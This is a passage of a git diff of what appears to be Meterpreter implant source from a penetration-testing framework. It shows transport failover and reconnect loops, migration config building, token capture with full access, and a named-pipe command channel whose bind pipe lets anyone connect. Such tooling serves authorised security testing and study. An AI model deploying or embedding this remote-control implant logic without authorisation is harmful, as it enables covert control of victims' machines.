remote->transport->prev_transport->next_transport = transport; + remote->transport->prev_transport = transport; + } + + return transport; +} + +static void append_transport(Transport** list, Transport* newTransport) +{ + if (*list == NULL) + { + // point to itself! + newTransport->next_transport = newTransport->prev_transport = newTransport; + *list = newTransport; + } + else + { + // always insert at the tail + newTransport->prev_transport = (*list)->prev_transport; + newTransport->next_transport = (*list); + + (*list)->prev_transport->next_transport = newTransport; + (*list)->prev_transport = newTransport; + } +} + +static void remove_transport(Remote* remote, Transport* oldTransport) +{ + // if we point to ourself, then we're the last one + if (remote->transport->next_transport == remote->transport) + { + remote->transport = NULL; + } + else + { + // if we're removing the current one we need to move the pointer to the + // next one in the list. + if (remote->transport == oldTransport) + { + remote->transport = remote->transport->next_transport; + } + + oldTransport->prev_transport->next_transport = oldTransport->next_transport; + oldTransport->next_transport->prev_transport = oldTransport->prev_transport; + } + + oldTransport->transport_destroy(oldTransport); +} + +static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize) +{ + DWORD totalSize = 0; + MetsrvTransportCommon* current = transports; + + // The first part of the transport is always the URL, if it's NULL, we are done. + while (current->url[0] != 0) + { + DWORD size; + if (create_transport(remote, current, &size) != NULL) + { + dprintf("[TRANS] transport created of size %u", size); + totalSize += size; + + // go to the next transport based on the size of the existing one. + current = (MetsrvTransportCommon*)((LPBYTE)current + size); + } + else + { + // This is not good + return FALSE; + } + } + + // account for the last terminating NULL wchar + *parsedSize = totalSize + sizeof(wchar_t); + + return TRUE; +} + +static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) +{ + // This function is really only used for migration purposes. + DWORD s = sizeof(MetsrvSession); + MetsrvSession* sess = (MetsrvSession*)malloc(s); + ZeroMemory(sess, s); + + dprintf("[CONFIG] preparing the configuration"); + + // start by preparing the session, using the given UUID if specified, otherwise using + // the existing session UUID + memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE); + // session GUID should persist across migration + memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID)); + sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); + sess->exit_func = EXITFUNC_THREAD; // migration we default to this. + + Transport* current = remote->transport; + Transport* t = remote->transport; + do + { + // extend memory appropriately + DWORD neededSize = t->get_config_size(t); + + dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize); + + sess = (MetsrvSession*)realloc(sess, s + neededSize); + + // load up the transport specifics + LPBYTE target = (LPBYTE)sess + s; + + ZeroMemory(target, neededSize); + s += neededSize; + + if (t == current && t->get_handle != NULL) + { + sess->comms_handle.handle = t->get_handle(t); + dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle); + } + + switch (t->type) + { + case METERPRETER_TRANSPORT_TCP: + { + transport_write_tcp_config(t, (MetsrvTransportTcp*)target); + break; + } + case METERPRETER_TRANSPORT_PIPE: + { + transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target); + break; + } + case METERPRETER_TRANSPORT_HTTP: + case METERPRETER_TRANSPORT_HTTPS: + { + transport_write_http_config(t, (MetsrvTransportHttp*)target); + break; + } + } + + t = t->next_transport; + } while (t != current); + + // account for the last terminating NULL wchar so that the target knows the list has reached the end, + // as well as the end of the extensions list. We may support wiring up existing extensions later on. + DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD); + sess = (MetsrvSession*)realloc(sess, s + terminatorSize); + ZeroMemory((LPBYTE)sess + s, terminatorSize); + s += terminatorSize; + + // hand off the data + dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); + *size = s; + *config = (MetsrvConfig*)sess; +} + +/*! + * @brief Setup and run the server. This is called from Init via the loader. + * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. + * @return Meterpreter exit code (ignored by the caller). + */ +DWORD server_setup(MetsrvConfig* config) +{ + THREAD* serverThread = NULL; + Remote* remote = NULL; + char stationName[256] = { 0 }; + char desktopName[256] = { 0 }; + DWORD res = 0; + + dprintf("[SERVER] Initializing from configuration: 0x%p", config); + dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); + dprintf("[SESSION] Expiry: %u", config->session.expiry); + + dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], + config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], + config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], + config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); + + dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3], + config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7], + config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11], + config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]); + + disable_thread_error_reporting(); + + // if hAppInstance is still == NULL it means that we havent been + // reflectivly loaded so we must patch in the hAppInstance value + // for use with loading server extensions later. + InitAppInstance(); + + srand((unsigned int)time(NULL)); + + __try + { + do + { + dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); + + // Open a THREAD item for the servers main thread, we use this to manage migration later. + serverThread = thread_open(); + + dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); + + if (!(remote = remote_allocate())) + { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + break; + } + + remote->sess_expiry_time = config->session.expiry; + remote->sess_start_time = current_unix_timestamp(); + remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; + + dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); + + DWORD transportSize = 0; + if (!create_transports(remote, config->transports, &transportSize)) + { + // not good, bail out! + SetLastError(ERROR_BAD_ARGUMENTS); + break; + } + + dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); + if (remote->transport->set_handle) + { + remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); + } + + // Set up the transport creation function pointer + remote->trans_create = create_transport; + // Set up the transport removal function pointer + remote->trans_remove = remove_transport; + // and the config creation pointer + remote->config_create = config_create; + + // Store our thread handle + remote->server_thread = serverThread->handle; + + dprintf("[SERVER] Registering dispatch routines..."); + register_dispatch_routines(); + + // this has to be done after dispatch routine are registered + LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); + // the original config can actually be mapped as RX in cases such as when stageless payloads // are baked directly into .NET assemblies. We need to make sure that this area of memory includes // The writable flag as well otherwise we get access violations when we're interacting with the // configuration block down the track. So instead of marking the original configuration as RWX (to cover // all cases) we will instead just muck with a copy of it on the heap. - DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config; - remote->orig_config = (MetsrvConfig*)malloc(configSize); - memcpy_s(remote->orig_config, configSize, config, configSize); - - // Store our process token - if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) - { - OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); - } - - if (scheduler_initialize(remote) != ERROR_SUCCESS) - { - SetLastError(ERROR_BAD_ENVIRONMENT); - break; - } - - // Copy it to the thread token - remote->thread_token = remote->server_token; - - // Save the initial session/station/desktop names... - remote->orig_sess_id = server_sessionid(); - remote->curr_sess_id = remote->orig_sess_id; - GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); - remote->orig_station_name = _strdup(stationName); - remote->curr_station_name = _strdup(stationName); - GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); - remote->orig_desktop_name = _strdup(desktopName); - remote->curr_desktop_name = _strdup(desktopName); - - remote->sess_start_time = current_unix_timestamp(); - - // loop through the transports, reconnecting each time. - while (remote->transport) - { - if (remote->transport->transport_init) - { - dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); - // Each transport has its own set of retry settings and each should honour - // them individually. - if (!remote->transport->transport_init(remote->transport)) - { - dprintf("[SERVER] transport initialisation failed, moving to the next transport"); - remote->transport = remote->transport->next_transport; - - // when we have a list of transports, we'll iterate to the next one. - continue; - } - } - - dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); - DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); - - dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); - if (remote->transport->transport_deinit) - { - dprintf("[DISPATCH] deinitialising transport"); - remote->transport->transport_deinit(remote->transport); - } - - dprintf("[TRANS] resetting transport"); - if (remote->transport->transport_reset) - { - remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); - } - - // If the transport mechanism failed, then we should loop until we're able to connect back again. - if (dispatchResult == ERROR_SUCCESS) - { - dprintf("[DISPATCH] Server requested shutdown of dispatch"); - // But if it was successful, and this is a valid exit, then we should clean up and leave. - if (remote->next_transport == NULL) - { - dprintf("[DISPATCH] No next transport specified, leaving"); - // we weren't asked to switch transports, so we exit. - break; - } - - // we need to change transports to the one we've been given. We will assume, for now, - // that the transport has been created using the appropriate functions and that it is - // part of the transport list. - dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); - remote->transport = remote->next_transport; - remote->next_transport = NULL; - } - else - { - // move to the next one in the list - dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); - remote->transport = remote->transport->next_transport; - } - - // transport switching and failover both need to support the waiting functionality. - if (remote->next_transport_wait > 0) - { - dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); - - sleep(remote->next_transport_wait); - - // the wait is a once-off thing, needs to be reset each time - remote->next_transport_wait = 0; - } - - // if we had an encryption context we should clear it up. - free_encryption_context(remote); - } - - // clean up the transports - while (remote->transport) - { - remove_transport(remote, remote->transport); - } - - dprintf("[SERVER] Deregistering dispatch routines..."); - deregister_dispatch_routines(remote); - } while (0); - - dprintf("[DISPATCH] calling scheduler_destroy..."); - scheduler_destroy(); - - dprintf("[DISPATCH] calling command_join_threads..."); - command_join_threads(); - - remote_deallocate(remote); - } - __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) - { - dprintf("[SERVER] *** exception triggered!"); - - thread_kill(serverThread); - } - - dprintf("[SERVER] Finished."); - return res; -} + DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config; + remote->orig_config = (MetsrvConfig*)malloc(configSize); + memcpy_s(remote->orig_config, configSize, config, configSize); + + // Store our process token + if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) + { + OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); + } + + if (scheduler_initialize(remote) != ERROR_SUCCESS) + { + SetLastError(ERROR_BAD_ENVIRONMENT); + break; + } + + // Copy it to the thread token + remote->thread_token = remote->server_token; + + // Save the initial session/station/desktop names... + remote->orig_sess_id = server_sessionid(); + remote->curr_sess_id = remote->orig_sess_id; + GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); + remote->orig_station_name = _strdup(stationName); + remote->curr_station_name = _strdup(stationName); + GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); + remote->orig_desktop_name = _strdup(desktopName); + remote->curr_desktop_name = _strdup(desktopName); + + remote->sess_start_time = current_unix_timestamp(); + + // loop through the transports, reconnecting each time. + while (remote->transport) + { + if (remote->transport->transport_init) + { + dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); + // Each transport has its own set of retry settings and each should honour + // them individually. + if (!remote->transport->transport_init(remote->transport)) + { + dprintf("[SERVER] transport initialisation failed, moving to the next transport"); + remote->transport = remote->transport->next_transport; + + // when we have a list of transports, we'll iterate to the next one. + continue; + } + } + + dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); + DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); + + dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); + if (remote->transport->transport_deinit) + { + dprintf("[DISPATCH] deinitialising transport"); + remote->transport->transport_deinit(remote->transport); + } + + dprintf("[TRANS] resetting transport"); + if (remote->transport->transport_reset) + { + remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); + } + + // If the transport mechanism failed, then we should loop until we're able to connect back again. + if (dispatchResult == ERROR_SUCCESS) + { + dprintf("[DISPATCH] Server requested shutdown of dispatch"); + // But if it was successful, and this is a valid exit, then we should clean up and leave. + if (remote->next_transport == NULL) + { + dprintf("[DISPATCH] No next transport specified, leaving"); + // we weren't asked to switch transports, so we exit. + break; + } + + // we need to change transports to the one we've been given. We will assume, for now, + // that the transport has been created using the appropriate functions and that it is + // part of the transport list. + dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); + remote->transport = remote->next_transport; + remote->next_transport = NULL; + } + else + { + // move to the next one in the list + dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); + remote->transport = remote->transport->next_transport; + } + + // transport switching and failover both need to support the waiting functionality. + if (remote->next_transport_wait > 0) + { + dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); + + sleep(remote->next_transport_wait); + + // the wait is a once-off thing, needs to be reset each time + remote->next_transport_wait = 0; + } + + // if we had an encryption context we should clear it up. + free_encryption_context(remote); + } + + // clean up the transports + while (remote->transport) + { + remove_transport(remote, remote->transport); + } + + dprintf("[SERVER] Deregistering dispatch routines..."); + deregister_dispatch_routines(remote); + } while (0); + + dprintf("[DISPATCH] calling scheduler_destroy..."); + scheduler_destroy(); + + dprintf("[DISPATCH] calling command_join_threads..."); + command_join_threads(); + + remote_deallocate(remote); + } + __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) + { + dprintf("[SERVER] *** exception triggered!"); + + thread_kill(serverThread); + } + + dprintf("[SERVER] Finished."); + return res; +} diff --git a/c/meterpreter/source/server/win/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_named_pipe.c rename to c/meterpreter/source/metsrv/server_transport_named_pipe.c index 4646bc55..10fa51de --- a/c/meterpreter/source/server/win/server_transport_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c @@ -1,729 +1,728 @@ -/*! - * @file server_transport_named_pipe.c - */ -#include "metsrv.h" -#include "../../common/common.h" -#include "../../common/packet_encryption.h" - -// From server_pivot_named_pipe.c -VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa); -DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled); - -#define STUPID_PIPE_BUFFER_LIMIT 0x10000 - - -typedef struct _PIPEMIGRATECONTEXT -{ - COMMONMIGRATECONTEXT common; - - // We force 64bit algnment for HANDLES and POINTERS in order - // to be cross compatable between x86 and x64 migration. - union - { - HANDLE pipe_handle; - BYTE padding[8]; - } h; - -} PIPEMIGRATECONTEXT, * LPPIPEMIGRATECONTEXT; - -/*! - * @brief Poll a named pipe for data to recv and block when none available. - * @param remote Pointer to the remote instance. - * @param timeout Amount of time to wait before the poll times out (in milliseconds). - * @return Indication of success or failure. - */ -static DWORD server_pipe_poll(Remote* remote, long timeout) -{ - DWORD bytesAvailable = 0; - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - vdprintf("[NP DISPATCH] testing for data on the pipe, making sure there's enough for a packet header"); - BOOL ready = PeekNamedPipe(ctx->pipe, NULL, 0, NULL, &bytesAvailable, NULL) && bytesAvailable >= sizeof(PacketHeader); - DWORD result = GetLastError(); - - lock_release(remote->lock); - - if (ready) - { - vdprintf("[NP DISPATCH] pipe data found %u bytes", bytesAvailable); - result = ERROR_SUCCESS; - } - else - { - if (result != ERROR_BROKEN_PIPE) - { - // simulate a wait so that we don't bash the crap out of the CPU? - vdprintf("[NP DISPATCH] pipe data not found, sleeping (error %u)", GetLastError()); - Sleep(timeout); - result = ERROR_NO_DATA; - } - } - - return result; -} - -DWORD read_raw_bytes_to_buffer(NamedPipeTransportContext* ctx, LPBYTE buffer, DWORD bytesToRead, LPDWORD bytesRead) -{ - DWORD bytesReadThisIteration = 0; - DWORD temp = 0; - DWORD result = ERROR_SUCCESS; - *bytesRead = 0; - - dprintf("[PIPE] Beginning read loop for a total of %u", bytesToRead); - while (*bytesRead < bytesToRead) - { - dprintf("[PIPE] Trying to read %u (0x%x) bytes", min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead)); - // read the bytes fromi there. - if (!ReadFile(ctx->pipe, buffer + *bytesRead, min(STUPID_PIPE_BUFFER_LIMIT, bytesToRead - *bytesRead), &bytesReadThisIteration, NULL)) - { - result = GetLastError(); - dprintf("[PIPE] ReadFile returned error %u 0x%x", result, result); - break; - } - - dprintf("[PIPE] ReadFile claims to have read %u (0x%x) bytes", bytesReadThisIteration, bytesReadThisIteration); - - *bytesRead += bytesReadThisIteration; - } - - dprintf("[PIPE] Done reading bytes"); - return result; -} - -/*! - * @brief Receive a new packet on the given remote endpoint. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to a pointer that will receive the \c Packet data. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet) -{ - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - PacketHeader header = { 0 }; - LONG bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - PUCHAR payload = NULL; - ULONG payloadLength; - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - dprintf("[PIPE PACKET RECEIVE] reading in the header from pipe handle: %p", ctx->pipe); - // Read the packet length - while (inHeader) - { - if (!ReadFile(ctx->pipe, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, &bytesRead, NULL)) - { - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) - { - vdprintf("[PIPE] More bytes required"); - continue; - } - - inHeader = FALSE; - } - - if (headerBytes != sizeof(PacketHeader)) - { - dprintf("[PIPE] we didn't get enough header bytes"); - goto out; - } - - vdprintf("[PIPE] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data - // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: - // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it - // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). - if (header.xor_key[3] == 0) - { - // looks like we have a metsrv instance, time to ignore it. - int length = *(int*)&header.xor_key[0]; - dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length); - - int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); - char* buffer = (char*)malloc(bytesToRead); - read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead); - free(buffer); - - // did something go wrong. - if (bytesToRead != bytesRead) - { - dprintf("[PIPE] Failed to read all bytes when flushing the buffer: %u vs %u", bytesToRead, bytesRead); - goto out; - } - - // indicate success, but don't return a packet for processing - SetLastError(ERROR_SUCCESS); - *packet = NULL; - } - else - { - vdprintf("[PIPE] XOR key looks fine, moving on"); - // xor the header data - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - dprintf("[PIPE] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - // if we don't have a GUID yet, we need to take the one given in the packet - if (is_null_guid(remote->orig_config->session.session_guid)) - { - memcpy(remote->orig_config->session.session_guid, header.session_guid, sizeof(remote->orig_config->session.session_guid)); - } - - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - dprintf("[PIPE] Payload length is %u 0x%08x", payloadLength, payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - dprintf("[PIPE] total buffer size for the packet is %u 0x%08x", packetSize, packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) - { - dprintf("[PIPE] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; - } - dprintf("[PIPE] Allocated packet buffer at %p", packetBuffer); - - // we're done with the header data, so we need to re-encode it, as the packet decryptor is going to - // handle the extraction for us. - xor_bytes(header.xor_key, (LPBYTE)&header.session_guid[0], sizeof(PacketHeader) - sizeof(header.xor_key)); - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&header, sizeof(PacketHeader)); - - payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - res = read_raw_bytes_to_buffer(ctx, payload, payloadLength, &bytesRead); - dprintf("[PIPE] wanted %u read %u", payloadLength, bytesRead); - - // Didn't finish? - if (bytesRead != payloadLength) - { - dprintf("[PIPE] Failed to get all the payload bytes"); - SetLastError(res); - goto out; - } - - vdprintf("[PIPE] decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); - - free(packetBuffer); - packetBuffer = NULL; - } -out: - res = GetLastError(); - - // Cleanup - if (packetBuffer) - { - free(packetBuffer); - } - - lock_release(remote->lock); - - return res; -} - -/*! - * @brief The servers main NP DISPATCH loop for incoming requests using SSL over named pipes. - * @param remote Pointer to the remote endpoint for this server connection. - * @param dispatchThread Pointer to the main NP DISPATCH thread. - * @returns Indication of success or failure. - */ -static DWORD server_dispatch_named_pipe(Remote* remote, THREAD* dispatchThread) -{ - Transport* transport = remote->transport; - BOOL running = TRUE; - LONG result = ERROR_SUCCESS; - Packet * packet = NULL; - THREAD * cpt = NULL; - - dprintf("[NP DISPATCH] entering server_dispatch( 0x%08X )", remote); - - int lastPacket = current_unix_timestamp(); - while (running) - { - if (event_poll(dispatchThread->sigterm, 0)) - { - dprintf("[NP DISPATCH] server dispatch thread signaled to terminate..."); - break; - } - - result = server_pipe_poll(remote, 500); - if (result == ERROR_SUCCESS) - { - result = packet_receive_named_pipe(remote, &packet); - if (result != ERROR_SUCCESS) - { - dprintf("[NP DISPATCH] packet_receive returned %d, exiting dispatcher...", result); - break; - } - - if (packet) - { - running = command_handle(remote, packet); - dprintf("[NP DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - } - else - { - dprintf("[NP DISPATCH] Received NULL packet, could be metsrv being ignored"); - } - - // packet received, reset the timer - lastPacket = current_unix_timestamp(); - } - else if (result != ERROR_BROKEN_PIPE) - { - // check if the communication has timed out, or the session has expired, so we should terminate the session - int now = current_unix_timestamp(); - if (now > remote->sess_expiry_end) - { - result = ERROR_SUCCESS; - dprintf("[NP DISPATCH] session has ended"); - break; - } - else if ((now - lastPacket) > transport->timeouts.comms) - { - result = ERROR_NETWORK_NOT_AVAILABLE; - dprintf("[NP DISPATCH] communications has timed out"); - break; - } - } - else - { - dprintf("[NP DISPATCH] server_pipe_poll returned %d, exiting dispatcher...", result); - break; - } - } - - dprintf("[NP DISPATCH] leaving server_dispatch."); - - return result; -} - -/*! - * @brief Destroy the named pipe transport. - * @param transport Pointer to the transport to destroy. - */ -static void transport_destroy_named_pipe(Transport* transport) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) - { - dprintf("[TRANS PIPE] Destroying pipe transport for url %S", transport->url); - SAFE_FREE(transport->url); - if (transport->ctx) - { - SAFE_FREE(((NamedPipeTransportContext*)transport->ctx)->pipe_name); - } - SAFE_FREE(transport->ctx); - SAFE_FREE(transport); - } -} - -/*! - * @brief Reset the given named pipe connection. - * @param transport Pointer to the named pipe transport to reset. - * @param shuttingDown Indication that the Metsrv instance is terminating completely. - */ -static void transport_reset_named_pipe(Transport* transport, BOOL shuttingDown) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_PIPE) - { - NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)transport->ctx; - dprintf("[NP] Resetting transport from 0x%x", ctx->pipe); - - if (ctx->pipe && ctx->pipe != INVALID_HANDLE_VALUE) - { - dprintf("[NP] Closing the handle"); - if (!CloseHandle(ctx->pipe)) - { - dprintf("[NP] Handle close failed: %u", GetLastError()); - } - else - { - dprintf("[NP] Handle closed"); - } - } - - ctx->pipe = NULL; - dprintf("[NP] Transport 0x%p is now reset to 0x%x", transport, ctx->pipe); - } -} - -/*! - * @brief Configure reverse named pipe connnection. - * @param pipe_name to connect to - * @param timeouts - * @return handle to connected pipe or INVALID_HANDLE_VALUE on error - */ -static HANDLE reverse_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) -{ - DWORD result = ERROR_SUCCESS; - HANDLE hPipe = INVALID_HANDLE_VALUE; - int start = current_unix_timestamp(); - do - { - dprintf("[NP CONFIGURE] pipe name is %S, attempting to create", pipe_name); - hPipe = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - if (hPipe != INVALID_HANDLE_VALUE) - { - break; - } - - hPipe = INVALID_HANDLE_VALUE; - result = GetLastError(); - dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); - dprintf("[NP CONFIGURE] Connection failed, sleeping for %u s", timeouts->retry_wait); - sleep(timeouts->retry_wait); - - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); - return hPipe; -} - -/*! - * @brief Configure bind named pipe connnection. - * @param pipe_name to create - * @param timeouts - * @return handle to connected pipe or INVALID_HANDLE_VALUE on error - */ -static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts) -{ - DWORD result = ERROR_SUCCESS; - BOOL wasEnabled; - HANDLE hPipe = INVALID_HANDLE_VALUE; - DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); - if (toggleResult == ERROR_SUCCESS) - { - SECURITY_ATTRIBUTES sa = { 0 }; - create_pipe_security_attributes(&sa); // allow access anyone - hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, - STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, &sa); - result = GetLastError(); - if (wasEnabled == FALSE) - { - toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); - } - } - - if (hPipe == INVALID_HANDLE_VALUE) - { - // Fallback on a pipe with simpler security attributes - hPipe = CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, - STUPID_PIPE_BUFFER_LIMIT, STUPID_PIPE_BUFFER_LIMIT, 0, NULL); - result = GetLastError(); - } - - if (hPipe == INVALID_HANDLE_VALUE) - { - dprintf("[NP CONFIGURE] failed to create pipe: %u 0x%x", result, result); - return INVALID_HANDLE_VALUE; - } - - int start = current_unix_timestamp(); - do - { - if (ConnectNamedPipe(hPipe, NULL)) - { - return hPipe; - } - - result = GetLastError(); - if (result == ERROR_PIPE_CONNECTED) - { - return hPipe; - } - dprintf("[NP CONFIGURE] Failed to connect pipe: %u 0x%x", result, result); - dprintf("[NP CONFIGURE] Trying again in %u s", 1); - sleep(1); - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < timeouts->retry_total); - - CloseHandle(hPipe); - return INVALID_HANDLE_VALUE; -} - - -/*! - * @brief Configure the named pipe connnection. If it doesn't exist, go ahead and estbalish it. - * @param transport Pointer to the transport instance. - * @return Indication of success or 